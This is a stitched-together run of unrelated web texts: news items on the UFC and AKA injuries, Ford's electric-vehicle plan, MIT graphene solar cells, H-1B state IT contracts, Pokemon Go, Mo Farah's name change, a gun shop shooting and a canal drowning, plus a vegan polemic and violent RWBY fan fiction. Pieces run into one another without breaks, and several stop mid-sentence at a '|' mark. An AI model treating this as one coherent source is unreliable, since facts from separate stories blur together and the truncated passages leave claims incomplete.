Luke Rockhold hasn’t fought since losing his middleweight crown to Michael Bisping midway through last year and is currently recovering from a knee injury. Light heavyweight champion Daniel Cormier pulled out of a title fight against Anthony Johnson in 2016 after tearing his abductor tendon and Cain Velasquez couldn’t fight at UFC 207 due to a back problem.
One common trait these fighters share is they all train at the American Kickboxing Academy (AKA) in California, and in a recent interview with Sports Illustrated, White didn’t miss the gym when discussing whether there were problems with “improper training” in the UFC.
“Some of the gyms we did (address the problem). With others it’s as bad as ever,” White said. “Listen, guys at AKA get injured every single fight. Luke Rockhold is out. Khabib (Nurmagomedov) got hurt there training. Then you have Cain Velasquez. The champ, Daniel Cormier is hurt.
“I don’t know (what the UFC can do), man. We started doing these seminars and stuff. They’re receptive to it. But I don’t know. Where there’s smoke there’s fire, man. Staggering numbers.”
Daniel Cormier (R). Source: Getty Images
Luke Rockhold. Source: AFP
Fighters pulling out of scheduled appearances in the Octagon is a problem for White and the UFC because it ultimately costs them money. The promotion aims to stack fight cards with quality match-ups rather than pit ordinary fighters against each other on the undercard before a blockbuster main event. It’s what separates the sport from boxing.
“From the get-go, our goal was to do the exact opposite of what boxing had done,” White said. “We stacked cards. You can never be in the situation where you take one fight — I blame a lot of the guys for this, not just the promoters, but the fighters, too. You say a De La Hoya-Mayweather (boxing) fight, they make all the money, then there’s nobody on the undercard, right?
“What I’m selling you every Saturday night, they’re ‘Holy s***’ moments, where you jump off the couch with your friends, look at each other and go, ‘Holy s***, that just happened.’ Everybody is going crazy.
“We put great fights on all the cards so you could have those moments.”
But not everyone enjoys those “Holy s***” moments. Actress Meryl Streep took a shot at MMA during her speech at this year’s Golden Globes when making her feelings on the American political climate known.
UFC president Dana White. Source: Getty Images
“Hollywood is crawling with outsiders and foreigners. If you kick them all out, you’ll have nothing to watch but football and mixed martial arts, which are not the arts,” Streep said.
White responded earlier this year, calling Streep an “uppity 80-year-old lady”, but suggested to Sports Illustrated the actress had an ulterior motive.
“I don’t expect an older lady of her age to be in the demographic — not that she couldn’t be — and you know what I learned?” White said. “It wasn’t a dig at the sport. It was a dig at Ari Emanuel, who was there. She’s with another (management) agency. That was a dig at Ari Emanuel.”
Emanuel is a talent agent and co-CEO of WME — the company that bought the UFC last year — and White clearly thinks there’s some bad blood between he and Streep.Going electric? Ford On Tuesday, Ford CEO Mark Fields unveiled an ambitious plan for the carmaker to spend $4.5 billion over five years to introduce 13 new electric vehicles, some with self-driving capabilities.
As part of the strategy, Ford said that it would cancel new $1.6 billion factory in Mexico and instead invest $700 million in upgrading a factory in Michigan, adding 700 new jobs.
Fields later said that the company had undertaken the decision for the good of its own business, not in response to pressure from president-elect Donald Trump, who attacked the automaker's Mexico investments during the presidential campaign.
The new electric vehicles will go right to the heart of Ford's lineup.
By 2020, Ford will introduce a hybrid version of its iconic Mustang muscle car, capable of serving up the same power as a V8 gas engine.
Also by 2020, Ford will roll out a hybrid version of its all-important F-150 full-size pickup truck, long the bestselling vehicle in the US and a major profit driver for Ford. The new truck will, Fields said, be able to function as a mobile generator and power a job site.
Upgrading the icons
Both the Mustang and the F-150 have been revamped in recent years. The Mustang has become more of a sport car and less of a straight-line speed machine, while the F-150 was redesigned to use more lightweight aluminum and also outfitted with Ford's six-cylinder EcoBoost turbocharged engines.
"As more and more consumers around the world become interested in electrified vehicles, Ford is committed to being a leader in providing consumers with a broad range of electrified vehicles, services and solutions that |
more flexible to integrate solar cell technologies.
Details about the new approach were just published in a report in the journal Nano Letters, co-authored by MIT postdocs Hyesung Park and Sehoon Chang, associate professor of materials science and engineering Silvija Gradečak, and a team of eight other MIT researchers.
Key advantage of the new technique is substituting rather expensive or rare materials like silicon or indium with cheap carbon. Most of today's solar cells are made of silicon, which is abundant but needs to be highly purified and then made into crystals that are sliced thin, an energy and cost intensive process. Most nanostructured or hybrid solar cells use indium tin oxide (ITO) as a transparent electrode, which is also used for touch screens.
"Currently, ITO is the material of choice for transparent electrodes," Gradečak says, such as in the touch screens now used on smartphones. But the indium used in that compound is expensive, while graphene is made from ubiquitous carbon.
Graphene could replace ITO, and even has some more advantages apart from being cheaper: It is flexible, light and chemically robust. To make this possible, the MIT team used a series of polymer coatings to modify the properties of graphene, allowing them to bond a layer of zinc oxide nanowires to it, and then an overlay of a material that responds to light waves.
"We've demonstrated that devices based on graphene have a comparable efficiency to ITO," Silvija Gradečak says - in the case of the quantum-dot overlay, an overall power conversion efficiency of 4.2 percent - less than the efficiency of general purpose silicon cells, and only competitive for specialized applications. "We're the first to demonstrate graphene-nanowire solar cells without sacrificing device performance."
László Forró, a professor at the Ecole Polytechnique Fédérale de Lausanne, in Switzerland, who was not associated with this research, says that the idea of using graphene as a transparent electrode was "in the air already," but had not actually been realized.
"In my opinion this work is a real breakthrough," Forró says. "Excellent work in every respect."
He cautions that "the road is still long to get into real applications, there are many problems to be solved," but adds that "the quality of the research team around this project... guarantees the success."Some state governments are willing to hire offshore IT service providers to work on healthcare IT projects under controversial contracts that don't bar use of temporary foreign labor, or workers on H-1B visas.
Two multimillion-dollar government healthcare IT projects, one in Illinois and the other in the District of Columbia, illustrate what's going on.
In Illinois, Cognizant was awarded a $74.1 million contract in June to upgrade the state's Medicaid systems to meet the requirements of the Affordable Care Act (ACA), also known as Obamacare.
In January, the District of Columbia awarded Infosys a $49.5 million contract to develop a health benefit exchange and replace its Medicaid and eligibility systems.
H-1B visa holders may already be working on municipal computer systems in Washington. In Illinois, state officials say that no H-1B workers are working on its project -- for now.
Illinois said that Cognizant has assigned 13 workers, all U.S. citizens or permanent U.S. residents with Medicaid experience and expertise, to work on the project. Seven of the staff members are former state of Illinois employees with extensive knowledge of the state's Medicaid system, according to spokeswoman Kelly Jakubek, communication manager for the Illinois Department of Healthcare and Family Services.
Cognizant has submitted paperwork to hire 60 or more visa holders to work on the project -- a proposal that the state wasn't aware of, Jakubek said.
Computerworld sent Illinois officials emails with copies of the paperwork that Cognizant filed with the U.S. Department of Labor to hire 60 senior system analysts at a pay rate of $76,814. The documents, known as Labor Condition Applications (LCA), are part of the H-1B approval process and are used in salary determinations. As a general rule, though, the filing of an LCA doesn't mean that a visa worker in on the way.
The state controls the hiring process for the project, said Jakubek, though she could not say whether it will require the contractor to exclude temporary visa workers from the effort.
Asked about the paperwork filed with the Labor Department, Cognizant said it would take on visa workers if needed.
"Due to the shortage of qualified talent in many parts of the U.S., we routinely file LCAs when we anticipate a large contract to ramp up," Cognizant said in a statement. "Our first course of action is always to seek out qualified U.S. workers to fill these positions. We file LCAs as a fallback measure in the event that we are not able to find qualified U.S. workers."
Ron Hira, a public policy professor at the Rochester Institute of Technology and a researcher who studies tech immigration issues, said that Cognizant "is able to piggyback off of the false claims of a dire shortage of U.S. IT workers," adding that "Microsoft and others are providing cover to firms like Cognizant by making broad-based claims of IT shortages."
Cognizant, which is based in Teaneck, N.J., but has operations worldwide and conducts a major share of its work overseas, has been one of the largest users of H-1B visas, getting more than 9,000 approvals last year, according to government records.
Bangalore, India-based Infosys received 5,600 approvals last year.
The hiring of temporary visa workers "isn't due to a shortage of U.S. IT workers, but instead for the simple fact that those H-1B workers can be paid less than the market wage," said Hira.
Hira argued that governments should use their IT budgets to hire U.S. workers, and said government contracts "have also long been the sources of seed money to support workforce development and human capital development in technology areas."
"Innovation and education are the primary sources of economic growth in a knowledge economy, so policymakers should steer precious tax dollars to fostering innovation and education here, not overseas," said Hira.
The paperwork that Computerworld emailed to Illinois state officials wasn't a secret.Donald Trump threatened to “spill the beans” on Ted Cruz’s wife in a tweet he quickly deleted and reposted Tuesday night. Trump was apparently referring to Facebook ads from an anti-Trump super PAC mocking Melania Trump’s nude appearance in a GQ magazine spread years ago. “Lyin’ Ted Cruz just used a picture of Melania from a G.Q. shoot in his ad. Be careful, Lyin’ Ted, or I will spill the beans on your wife!” he wrote. And so it was revealed that the GOP frontrunner deleted the original tweet not because of shame, but because he wanted to add “Lyin’ Ted” to the threatening message. Less than an hour later, Sen. Cruz responded: “Pic of your wife not from us. Donald, if you try to attack Heidi, you’re more of a coward than I thought. #classless”Share. New incubator hatches eggs 1.5 times faster. New incubator hatches eggs 1.5 times faster.
Niantic has announced a new Equinox event in Pokemon Go. From September 22 to October 2, players will earn double Stardust when catching Pokemon or hatching eggs.
New bundles will be available in the in-game store that offer Lucky Eggs and Lure Modules, as well as a new Super Incubator item that hatches eggs 1.5 times more quickly than normal egg incubators.
During the event, special 2KM eggs will also be available at PokeStops and will contain a chance to hatch rare Pokemon like Chansey, Mareep, Larvitar, and more.
Pokemon Go recently added the three Johto legendary beasts Raikou, Entei, and Suicane and is currently field testing EX Raids, which will offer the opportunity to catch Mewtwo.
Exit Theatre Mode
Andrew is IGN’s executive editor of news and currently has 243 Pokemon in his Pokedex. You can find him rambling about Persona and cute animals on Twitter.Last year, we told you about Jadav "Molai" Payeng, a man who spent 30 years single-handedly planting a sprawling 1,360-acre forest in his native India. As word spread about his incredible achievement, the humble, eco-conscious farmer stood as a shining example of the what one person could accomplish to make the world a better place.
But as if all that were not enough, Payeng says his work is hardly finished. Now he's planning on devoting the next 30 years of his life planting yet another forest.
Payeng's story began in 1979, when he was just sixteen. After seeing wildlife dying from exposure along a barren sandbar near his home in northern India's Assam region, he began planting vegetation to transform the landscape. Decades later, the lush ecosystem he created is now a safe haven for a variety of birds, deer, rhinos, tigers and elephants -- species hit hard by rampant habitat loss throughout the region
With his wife and three children, Payeng makes a living in the forest he planted, rearing cows and selling milk in town, but his life's calling is only half-answered. The tree-planting pioneer says he has his sights set on foresting yet another 1,300-acre sandbar:
“It may take another 30 years but I am optimistic about it," says Payeng, in an interview with Indian press. "I feel sad when I see people felling trees. We have to save the nature or else we all will perish.”
Although Payeng's mission began when he was just a teenager, alone with the sun on his back and his hands in the dirt, the result of his years of work not only transformed a barren landscape -- but also the notion of what a single dedicated person was capable of to improve the world.
“My efforts haven’t gone in vain," he says. "I may live a very lowly life but I feel satisfied that I have been able to stir up a lot of people who love nature."
Via DNA India
See also: Non-profit wants to clone the world's oldest trees to reforest the planetRep. Sean Duffy Sean Patrick DuffyHouse to push back at Trump on border On The Money: Shutdown Day 27 | Trump fires back at Pelosi by canceling her foreign travel | Dems blast 'petty' move | Trump also cancels delegation to Davos | House votes to disapprove of Trump lifting Russia sanction Rare bipartisanship in lame duck Congress battling the ‘WTO’ of insurance regulation MORE (R-Wis.) said on Thursday that he is not running for Senate in 2018.
"After much prayer and deliberation, Rachel and I have decided that this is not the right time for me to run for Senate," Duffy said in a statement.
"We have eight great kids and family always comes first."
Duffy said in the statement that incumbent Sen. Tammy Baldwin Tammy Suzanne BaldwinKlobuchar, O'Rourke visit Wisconsin as 2020 race heats up Dems offer smaller step toward ‘Medicare for all' Overnight Health Care — Sponsored by America's 340B Hospitals — Powerful House committee turns to drug pricing | Utah governor defies voters on Medicaid expansion | Dems want answers on controversial new opioid MORE (D-Wis.) will "be beat because her radically liberal Madison record and ideas are out of synch with Wisconsin."
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"I look forward to helping our Republican nominee defeat her," he said.
"I'll continue to work my heart out for the families of the 7th district and I'm excited about the great things we will accomplish with our united Republican government."
Just in: @Duffy4Wisconsin not running for US Senate in 2018, father of 8 says it's "not the right time for me to run" pic.twitter.com/cVCB1YFlFg — Charles Benson (@CharlesBenson4) February 16, 2017
A report last year said Duffy, an early supporter of President Trump, was considering a Senate run in 2018.
The report said a handful of Republicans was already weighing a run to unseat Baldwin, who was elected in 2012, in the wake of Trump's victory in Wisconsin.
Duffy has served in Congress since 2010 and worked on the president's transition team.Image copyright PA/Getty Image caption Mo Farah wants to follow Andrew Cole and Katie Price by changing his public name
What's in a name? Sir Mo Farah is about to find out.
The four-time Olympic champion has announced he wants to be known as "Mohamed" when he starts the next chapter of his career.
The 34-year-old, who won a silver medal in his last ever track race at a major championships at the weekend, is switching his focus to road racing.
And he's marking the fresh start by ditching "Mo" for "Mohamed".
"My road name is Mohamed," he said.
"I just feel like Mo is done. I need to forget about what I've achieved and what I've done."
'Almost impossible'
Richard Fitzwilliams, a public relations consultant, says he's "very surprised" by the announcement.
"Everyone loves him as Mo," he said. "You would perhaps write Mohamed if you were asked to.
"But Mo - it's shorter and it's also the way he became world famous, and it's how he has run his way into our hearts and minds.
"So (a change) is almost impossible. I think he's looking for something a little more formal. I don't think he probably expects people to actually use Mohamed in full.
"Another reason why he has got a tough task is there are millions of Mohameds - and only one Mo."
But Rebecca May, PR expert and managing director at Alliance PR, says it is possible to change your name and "rebrand".
She said: "Mohamed is not a name change, as such, he just wishes to be known now by his full name, not nickname.
"These intentions appear to reflect Mohamed's next sporting chapter and new career direction. It is the next evolution to his brand. Part of that next step is rebranding.
"Well thought-out and with the right intentions, I would fully support a client under the same circumstances."
William and Ka...Catherine
Image copyright Getty Images Image caption The Duchess of Cambridge is still widely known as Kate despite attempts to become Catherine
Farah is not the first famous person to attempt a name change - but some have been more successful than others.
After Kate Middleton's engagement to Prince William, palace officials, members of the royal family, and her fiancé, took to calling her Catherine.
The rest of us stuck with Kate.
Mr Fitzwilliams says this is partly down to newspapers' fondness for nicknames and familiarity.
"In the media, brevity is always preferable, that's why Catherine didn't catch on," he said.
"It's an attempt to be formal when in fact the informal had already taken hold on the popular imagination.
"We still call her Kate. People had warmed to her as Kate, they knew her as Kate."
Manchester United striker Andy Cole decided that, at the age of 28, he wanted to be known as Andrew.
Bearing in mind fans already had a long-standing chant with the original name, it wasn't the easiest request.
Seventeen years on, and the media still haven't quite grasped it - recent newspaper articles show both versions of his name are still being used.
Image copyright Getty Images Image caption Yusuf Islam and Muhammad Ali both changed their names after converting to Islam
Yet Muhammad Ali had no such problems.
The American boxing legend had already made a name for himself as Cassius Clay, but in 1964 he dropped his birth name after converting to Islam.
Mr Fitzwilliams said: "That's a very good example of where he was big enough to change.
"He was huge, he didn't need marketing. He was a walking brand himself, backed up with all the talent he needed. He was his own mouthpiece."
British singer-songwriter Yusuf Islam also changed his name, but he found Cat Stevens harder to shake off.
He has now incorporated both into his Twitter handle - where he describes himself as "Yusuf Islam the artist also known as Cat Stevens".
Model and TV presenter Katie Price made a concerted effort to rid herself of her glamour model alter ego Jordan.
PR expert Mrs May described it as a "successful and strategic rebrand to mark her new phase from glamour to mother and entrepreneur".
And one celebrity has almost made a career out of changing his name.
American hip-hop star Sean Combs' various incarnations have included Puff Daddy, Puffy, P. Diddy, Diddy and Swag (although the last one was just for a week).
Mrs May said: "P Diddy has the bank account to prove that changing his name has not been detrimental to his journey."
So can Mo pass the baton to Mohamed? His fans - and the world's PR experts - will watch the handover with interest.Sony Interactive Entertainment’s PlayStation Vue broadband-delivered pay-TV service is now available on Apple TV set-tops — with the launch coming just before AT&T debuts its DirecTV Now rival.
PS Vue is available only on fourth-generation Apple TV devices. Users will be able to take advantage of Apple TV’s Siri-enabled remote and touch-based navigation. Sony’s virtual pay-TV service is also available on PlayStation 3 and 4 consoles, Roku, Google Chromecast, Amazon Fire TV, Android TV, iOS and Android devices, and Amazon Fire tablets.
PlayStation Vue provides access to live TV programming, including sports networks like ESPN and NFL Network and entertainment channels like AMC, FX and HBO. Last week, Sony dropped Viacom’s networks from the lineup, citing the need to provide “compelling value to our fans.” The company has not disclosed how many subs it has signed up for PS Vue, which first launched in March 2015.
Users with an existing PlayStation Vue account can link their subscription to Apple TV and start streaming immediately. New users can sign up for one of several plan options through the PlayStation Vue website and link their subscription to Apple TV, without the need for a PlayStation console. A seven-day free trial is available to new PlayStation Vue customers.
Related Will Skinny Bundles Like AT&T’s DirecTV Now Destroy Pay TV? Sony’s PlayStation Vue TV Service Loses Viacom Networks, Adds Vice and NBA TV
Sony offers four PlayStation Vue plans: Access, with 45-plus channels for $29.99 per month ($39.99 in markets with local TV channels, which include New York, Los Angeles, Chicago, Philadelphia, Dallas, San Francisco, and Miami), Core, with 60-plus channels for $34.99 ($44.99 in local TV markets); Elite, with 90-plus channels for $44.99 per month ($54.99 in local TV markets); and Ultra, which includes all the Elite channels plus HBO and Showtime for $64.99 ($74.99 in local TV markets).
PlayStation Vue will get a formidable new competitor with DirecTV Now, which AT&T says it plans to launch in late November. DirecTV Now will comprise a bundle of more than 100 channels starting at $35 per month — aggressive price point that analysts say mean the over-the-top service will operate initially with a negative margin.
PS Vue also competes with Dish Network’s Sling TV, which starts at $20 per month for about 30 channels.Advertisement Neighbors 'heartbroken' by accidental fatal shooting of gun shop owner Participant discharged gun during CCW class Share Shares Copy Link Copy
The owner of a gun shop was killed after an accidental shooting during a concealed carry class Saturday afternoon, authorities said.Watch this storyThe class was in session at KayJay Gun Shop in Monroe Township.Yellow crime tape still blocked off part of the area Saturday night.Family members were emotional, crying and hugging each other close at the gun shop after the shooting."I seen like 15 sheriff's cars come, two ambulances, and I was waiting on the helicopter to come pick him up you know, but it didn't. And they put yellow tape around and I knew he was dead," neighbor Anita Fritz said.Clermont County sheriff's deputies said the shop’s owner, James Baker, 64, was killed by a weapon he showed others how to use safely.Investigators said Baker was shot in the neck while sitting in a nearby room as someone taking a CCW class practiced weapon malfunction drills.Attempts were made to revive Baker, but he was pronounced dead at 3:12 p.m. at the shop.Fritz said she is heartbroken."An accident like that, it's not, it's bad, just terrible for the family, so I feel very bad for them," she said.People who knew him called him Jim, a neighbor who went the extra mile to lend a hand and keep people safe."Sheriff's and the cops come in and out all the time cause they loved him, you know, everybody did. All the neighbors did. So it's a tragic thing that happened," Fritz said.Baker's gun shop offers a long list of training courses to teach people to use guns like rifles and pistols the correct way.Now, many in this tight-knit community say they are devastated knowing he won't be here to do that anymore."He's just a great guy, I mean, I can't believe it happened, it's hard to believe, just a really good guy," Fritz said. "I'm going to miss him because he was a good neighbor."We also talked with a man who lives just a few houses down from where it happened.He told us Baker gave him his very first job, calling him a great boss and friend.Investigators aren't saying what type of gun was used or if any charges will be filed.You vegans
I’ve seen vegans called many derogatory words. Nothing, it seems, provokes unbridled defensiveness and rudeness in quite the same way as coming out and stating that it is wrong to cause suffering and death to the helpless and vulnerable.
Excuses and insults
It doesn’t seem that radical to me, but as soon as it’s mentioned that humans have no nutritional or other need to use other beings in any way for any purpose, out will come a barrage of well used excuses: plants have feelings, canine teeth, what cavemen did, brain size and intelligence, we need meat to survive, my ‘personal choice’, ‘forcing your opinions on me’, the bible, eskimos, desert islands, etc.
Once these are out of the way, then come the personal insults: ‘It’s impossible to be 100% vegan’, ‘You probably step on insects every day’, ‘I bet your cleaning materials / car / PC harmed animals’, ‘What about your makeup / shoes / clothes?’ and of course, ‘You’re a hypocrite’.
Then comes the ‘we’re really on the same side but you’re being extreme’ gambit: ‘I hardly eat any meat‘, ‘Every little bit helps’, ‘I follow this or that diet – I’m doing my bit’, ‘How dare you criticise me – sure I eat animals but I rescue <insert name of species here>’, ‘The world won’t go vegan overnight so we should encourage people who try to cut down slightly on eating and using animals’.
Invariably there are some that choose to incite a bit of xenophobia: ‘At least here in <insert country> we treat animals humanely, unlike what they do in <insert other country> – they’re all savages there’, ‘Boycott <country> till they stop killing <species that we give preferential treatment to in this country>’.
In the face of all this, a vegan who maintains their stance that causing harm when we can choose not to do so is morally wrong, is branded as humourless and – another favourite word – ‘judgemental’.
Yet day after day, we take the flak. Why is this, you ask? I’ve heard it said, ‘Why don’t you give it a rest?’, ‘Let people take their own time’, ‘If you just raise awareness, then people will make kinder choices’, ‘You’re always going ON about animals.’
So why don’t we? Give it a rest, that is. Why are we so driven? And why are some – like myself – so implacable, so uncompromising, so ‘die hard’, ‘extremist’ and several other words that reflect the discomfort of the audience.
Numbers
Touching briefly on numbers, upwards of 74 billion land animals and uncountable sea creatures are killed every year for what people who are not vegan, regard as food. There are billions imprisoned and enslaved so that their reproductive systems can be manipulated to provide milk and eggs. In addition to this are uncounted millions of deaths in the silk / wool / leather / fur / feather industries and in testing and vivisection. Then there are circuses, zoos and wildlife ‘parks’. The list goes on and on. Most of those who die are extremely young. If they were humans, we would look on them as infants or babies, children, adolescents. These are, of course, statistics and it’s all too easy to look on them as a mere mathematical exercise.
Individuals
However, the issue becomes less easy to sweep under the carpet when we stop thinking of numbers in general, but as a group of individuals – an unthinkably massive group. It is almost certain that with very few exceptions, each individual knew fear, pain, deprivation and suffering throughout his or her pitiful existence. If we could have looked into his or her bewildered eyes, we would have seen that he or she had their own hopes, needs and preferences although these were never recognised. He or she might have favourite foods, friends or pastimes but may never have had the chance to experience these.
Their individuality was disregarded because in order to legitimise our theft of their lives, their joy and their purpose in this world, in order to attempt to justify our brutal manipulation of their reproductive systems and our forcible destruction of their relationships as we mutilate and murder their babies, we refuse to recognise them as moral persons, as the sentient beings that science has declared them to be. We give them numbered or coded tags, punching holes in their fragile ears to attach these, or we notch their tender ears with nicks, cuts and shapes to signify our cataloguing of the walking dead as our resources. And ever the jokers, some find amusement at those who chortle that they ‘never give a name to anything I’m going to eat’.
Personhood and individuality
Part of becoming vegan is the recognition of others as sentient individuals with the right not to be commodified and regarded as resources by other sentient individuals in the absence of any morally justifiable necessity.
This quote from the Peaceful Prairie Sanctuary eloquently encapsulates my horror and the reason for the ever-present sadness of being vegan,
‘We know things about her that no one should ever know, or want to know, about a fellow being – the sight of her flayed body, the weight of her severed thigh, the taste of her burned, bone-punctured flesh, the charred crunch of her fractured ribs, the flavor of her spilled marrow, the taste, texture and flavor of every aspect of her despair, degradation and defeat. We know every detail of what we have forced her to be – an object to consume and excrete. What we don’t know, what we don’t want to know, is what we must know if we are to restore our own humanity: who she is.’
Which means, in essence, that every hour that ticks by, millions of helpless innocents are dying in gore and agony, whimpering and screaming in fear and horror. At this moment. Now. And now. Begging for mercy now. Billions more are facing the interminable hell that is the existence forced upon them for our selfish indulgence.
So what’s the rush?
For millions there is no time left, their only lives that they value as I do mine and you do yours, are being wrenched from them as I write, their blood spilling through gashed throats onto killing floors everywhere. No respected resting places await their last remains, only a supermarket shelf, the casual, thoughtless convenience of a soon forgotten meal, digestion and excrement. That will be the epitaph of these mothers, fathers, sisters, brothers, sons and daughters.
So when you wonder why I keep going ON, it’s because no matter how much flak vegans have to take, it’s nothing compared to what the sweet and vulnerable victims of nonvegan choices are suffering, and will continue to suffer until all ears hear the vegan message.
We say we want a peaceful world, we say we hate violence, we say we hate cruelty. Great. Let’s walk the walk and live those values by taking violence off our plates, by refusing to support the culturally accepted view that might makes right.
Be vegan. Now.Story highlights Silas and Eli Keslar, both 18 months old, drowned in an Arizona canal
Their mother was trying to fend of a bee when the stroller rolled away, police say
(CNN) Eighteen-month-old twins drowned after their mother tried to fend off a bee and let go of their stroller, which rolled into a canal, Arizona police said.
Alexis Keslar was walking with her twin sons, Silas and Eli Keslar, along a canal Friday when she tried to repel a bee, police in Yuma said.
"The stroller rolled away from her into the canal, with the boys belted in the seat," police said Monday.
Keslar went into the canal and tried to rescue her sons, authorities said, but was hampered by the steep sides of the canal, the depth of the water and the force of the current. The current washed the stroller away.
After Keslar got out of the canal, she called for help, police said.2 hours earlier, 1 hour after Cinder left
Smoke rose from the smouldering remains of a crashed Atlesian command aircraft. The ensuing fire had managed to mostly burn itself out without human intervention since it had crashed one and a half hours ago.
Within the wreckage came the shape of a man as it stood upright weakly. Then, the sound of coughing was heard as it walked out of the thick smoke and into the clear air surrounding the crashed aircraft.
"Ugh," said a man wearing a tattered white coat with orange hair as he came into view. "Where the hell is my God damn hat and cane?" He then looked around and saw helicopters above. "Shit, Vale's Army's here..." He then began to feel intense pain on his right leg as he sat down. When he pulled back his right pant leg to see what was wrong, he saw a huge gash and burn marks from the crash. He also began to feel blood trickling down from his forehead.
Suddenly, another man in the distance yelled, "HANDS UP!"
Roman looked to the direction of the voice and saw 2 Valeanian soldiers closing in on him with their rifles drawn. Unlike their Atlesian counterparts, their gear was less futuristic and consisted of green camouflage. He said, "I'm unarmed!"
The other soldier yelled, "HANDS UP NOW!"
With an annoyed sigh, Roman put both of his hands up in the air as he stood up, ignoring the searing pain in his right leg. A soldier immediately ran up to him with plastic handcuffs and proceeded to cuff him from the back before noticing the wounds Roman had. The soldier called out, "Get me a medic for the suspect!"
Present
"Well," said Blake to herself as she stood in front of an abandoned warehouse in the center of the city. "This is the place." She then sighed in worry. "Cinder, you will be exposed."
Meanwhile, inside the warehouse, Adam and Cinder talked on a walkway 30 feet above the ground floor. "This attack was a failure," Adam said to Cinder.
"Well," Cinder replied before thinking to herself. "Yeah, I guess." She then face palmed and sighed. "Hey Adam, wanna see me tempt fate?"
"We've already done so several times." Adam shrugged.
Cinder then jokingly said, "Could tonight get any worse? You see, I said that ironically, so I think I'm safe."
"I'm back," suddenly said Blake as she walked up to the walkway through the stairs. When she got to the top of the stairs, she took out Gambol Shroud and placed it on the ground before putting her hands up. "Adam, we need to talk."
Adam, startled to see Blake, told her, "Talk? We are beyond talking!"
"Adam, I need to tell you something about Simon."
Adam, immediately assuming Blake was about to lie to him, yelled, "Don't you dare besmirch Simon! He protected us and taught us!"
Blake loudly yelled, "BULLSHIT!" She then paused. "Adam, Simon tricked us both. You especially. Listen, you're gonna find me hard to believe, but Simon murdered our parents." Blake became immediately somber. "He set up everything, Adam."
Adam yelled back to her, "LIAR! SIMON WOULD NEVER LIE TO US!" He then grabbed his sword.
"Adam... Simon was a cruel, cold, and vicious person, and he poisoned you... He destroyed the boy I loved and replaced him with a monster..." Blake began to silently weep as tears fell from her face. "I gave you everything, Adam... I even slept with you... We could, and we should have been, a great couple, but... Simon led you down a path I couldn't follow... I left you not because I didn't love you, but because you needed to realize what he was doing to you..."
Cinder thought to herself, "Blake really is blinded by love... How pathetic."
"Adam, I'm telling you the truth and nothing but the truth when I say this..." Blake then began to break down. "I love you... I love you so much... I should have killed Simon sooner..." Shen then fell to her knees and cried.
Adam, confused and angry, told Blake, "Grab your weapon... It's too late for me to go back..."
Cinder said to the two of them, "Finally, an actual fight!"
As she reluctantly grabbed Gambol Shroud, Blake angrily told Cinder, "Stay out of this, bitch." She then turned to Adam, "And by the way, don't trust Cinder either. She'll gladly backstab you if it's in her best interests."
"That I know is a lie," Adam replied. "Cinder wouldn't dare." He then suddenly charged at Blake with Wilt and Blush.
As their swords clashed, Blake told him, "I said it before and I'll say it again, I. WON'T. LET. GO!"
Then, the two broke apart. Adam told her, "It is unwise to lower your defenses!" He then charged at Blake, a slash of Wilt and Blush barely missing her right shoulder. Cinder laughed in joy as the two continued to fight, their swords loudly clanging in the dark warehouse.
Suddenly, however, Adam made a mistake.
As he went to decapitate Blake, he realized too late that she had summoned a shadow clone to take her place using her semblance. Just as he turned his head around, Blake brought Gambol Shroud down onto his right arm.
The resulting slash chopped his right hand completely off, making him drop Wilt and Blush. As he collapsed to the ground in searing and excruciating pain, blood poured from his hand stump. He said, 'Blake! You..."
"Now, Adam, take your mask off... You're not a monster..." Blake stood before him, still holding Gambol Shroud as Adam complied with her request.
"Excellent," Cinder said as she walked over to the scene. "Now, Blake, I want you to strike him down! You've seen what he did to you and Yang, right? Don't you want raw animalistic revenge for the pain he has caused you and your friends?"
Blake paused for about half a minute, only looking at Adam and Cinder. Then, she dropped Gambol Shroud and said to Cinder, "No!"
Adam, shocked, said to himself, "What?"
"I will not kill him, Cinder. Look, I don't know if I'm a good person. I'm probably not a good person. I've done a lot of things that have been less than moral, especially in my White Fang days." She then spit on the ground. "But I know one thing. I'm better than that. I'm a lot better than that. Now that Simon's gone, Adam can and will be freed from his brainwashing. I don't need you trying to get me to give into my anger and raw emotion."
Cinder's smile quickly turned into an angry scowl as she said, "So be it... If you won't kill him, then you shall be destroyed!" Suddenly, her hands flared up with flames as she threw 2 fireballs at Blake, catching her clothes on fire. "Burn, you Hostage Syndrome-blinded fool!"
Blake tried rolling on the floor, but it did nothing as the flames began burning her skin. She screamed as she rolled, saying, "OH MY GOD! HELP ME! OH GOD, HELP!"
"You. Will. Die!" Cinder then summoned electricity from her hands to start shocking Blake. While this put the flames out, it left her in excruciating pain as electricity flowed through her body.
As blue bolts of electricity surged from Cinder's hands to Blake's body, she screamed, "ADAM! HELP ME! ADAM!"
Adam got up and looked at the scene, pondering what to do. Then, something came to him in his head. "Wait... Blake... No..." Then, he looked at Cinder and yelled, "STOP!"
Without warning, Adam grabbed Cinder from the waist and lifted her up, redirecting the electricity to his body as Cinder screamed, "What are you doing?! PUT ME DOWN!"
Adam yelled at her, "Die, you dirty double-crossing bitch!" Then, when they reached the ledge of the walkway, Adam took one look down and threw Cinder off the edge.
Cinder screamed as she fell before her scream was interrupted by the sound of a body hitting and getting impaled on a large metal object below on the ground. Adam looked down and saw Cinder impaled on a piece of machinery. As blood poured from her mouth and the entry wound, she looked up at him in intense rage until her eyes closed for the final time, and her last labored breath escaped her body.
Cinder Fall was finally dead.
Adam fell to the floor of the walkway as Blake, her clothes in tatters due to her burns, ran over and picked him up. Once they made their way down the stairs to the ground floor, Blake, once again on the verge of tears, laid him down on the ground. She said, "Adam, I won't let you die!"
"I'm afraid my time is up |
For a Capitol used to paralyzing partisan gridlock, the accord between Representative Paul D. Ryan of Wisconsin, chairman of the House Budget Committee, and Senator Patty Murray of Washington, chairwoman of the Senate Budget Committee, was a reminder that even fierce political combatants can find common ground. Mr. Ryan praised the deal in the most elementary terms as a way to “get our government functioning at its very basic levels.”
Both negotiators promised an end to uncertainty and the lurching from crisis to crisis, at least for a year. But both parties sought to preserve their ability to force another showdown over fiscal matters; the government’s statutory borrowing authority will lapse as early as March, another potential crisis.Hollywood studios are furious that BitTorrent, synonymous in the movie industry with piracy, has partnered with independent studio Cinedigm to promote "Arthur Newman," TheWrap has learned.
"It's a deal with the devil," one studio executive told TheWrap. "Cinedigm is being used as their pawn."
Cinedigm announced this weekend that it would offer the first seven minutes of the Emily Blunt-Colin Firth indie "Arthur Newman" exclusively to BitTorrent users, which number up to 170 million people.
Read also: What Piracy? BitTorrent Signs Promotional Deal With Cinedigm
